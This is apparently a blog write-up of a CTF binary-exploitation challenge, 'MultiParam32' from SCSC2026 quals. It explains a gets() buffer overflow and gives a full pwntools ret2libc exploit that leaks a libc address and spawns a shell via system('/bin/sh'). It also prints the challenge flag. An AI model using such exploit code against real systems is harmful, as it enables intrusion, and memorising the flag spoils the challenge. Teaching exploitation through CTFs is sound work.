413 words
2 minutes
SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
Category: Binary Exploitation
Server: nc 43.128.69.211 13003
Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}
Challenge Description
32-bit binary exploitation challenge requiring return-to-libc attack.
Binary Analysis
$ file multiparam
multiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked
$ checksec --file=multiparam
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIEDisassembly Analysis (main function)
; Stack layout:
; ebp-0x14: buffer (20 bytes from ebp)
; ebp-0x8: var2 (loaded into eax if check passes)
; ebp-0x4: var1 (must equal 0xd34dc4fe)
; ebp: saved ebp
; ebp+0x4: return address
mov DWORD PTR [ebp-0x4], 0x0 ; var1 = 0
lea eax, [ebp-0x14] ; buffer address
push eax
call gets ; VULNERABLE: gets(buffer)
mov eax, DWORD PTR [ebp-0x4]
cmp eax, 0xd34dc4fe ; check if var1 == magic
jne skip
mov eax, DWORD PTR [ebp-0x8] ; load var2 into eax
skip:
push 0x804a008 ; "Try again?"
call puts
leave
retVulnerability
gets()has no bounds checking - classic buffer overflow- No win function exists - need ret2libc
- NX enabled - can’t execute shellcode on stack
Exploitation Strategy
Stage 1: Leak libc address
- Overflow buffer to control return address
- Return to
puts@pltwithputs@GOTas argument - This prints the runtime address of
putsin libc - Return to
mainto continue exploitation
Stage 2: Calculate libc addresses
- Use leaked
putsaddress to identify libc version - Calculate
system()and/bin/shaddresses
Stage 3: Get shell
- Overflow again with
system("/bin/sh")ROP chain
Identifying Libc Version
Leaked addresses:
puts@libcending in0x140gets@libcending in0x660
Using libc.rip database:
libc6_2.39-0ubuntu8.4_i386:
puts: 0x78140
gets: 0x77660
system: 0x50430
str_bin_sh: 0x1c4de8Final Exploit
#!/usr/bin/env python3
from pwn import *
context.arch = 'i386'
HOST = '43.128.69.211'
PORT = 13003
# Binary addresses (no PIE)
PUTS_PLT = 0x8049040
PUTS_GOT = 0x804c010
MAIN_ADDR = 0x8049182
MAGIC = 0xd34dc4fe
# libc6_2.39 i386 offsets
PUTS_OFF = 0x78140
SYSTEM_OFF = 0x50430
BINSH_OFF = 0x1c4de8
p = remote(HOST, PORT)
# ============ STAGE 1: Leak libc ============
# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]
padding = b'A' * 12
payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload1 += p32(PUTS_PLT) # ret to puts@plt
payload1 += p32(MAIN_ADDR) # return to main after puts
payload1 += p32(PUTS_GOT) # argument: puts@GOT
p.sendline(payload1)
p.recvuntil(b'Try again?\n')
# Read leaked address
puts_libc = u32(p.recv(4))
log.success(f"Leaked puts@libc: {hex(puts_libc)}")
# ============ STAGE 2: Calculate addresses ============
libc_base = puts_libc - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
# Clean buffer
sleep(0.2)
try: p.recv(timeout=0.3)
except: pass
# ============ STAGE 3: system("/bin/sh") ============
payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload2 += p32(system_addr) # ret to system
payload2 += p32(MAIN_ADDR) # return after system
payload2 += p32(binsh_addr) # argument: "/bin/sh"
p.sendline(payload2)
p.interactive() SCSC2026 Quals - MultiParam32 - Binary Exploitation Writeup
https://blog.rei.my.id/posts/15/scsc2026-quals-multiparam32-binary-exploitation-writeup/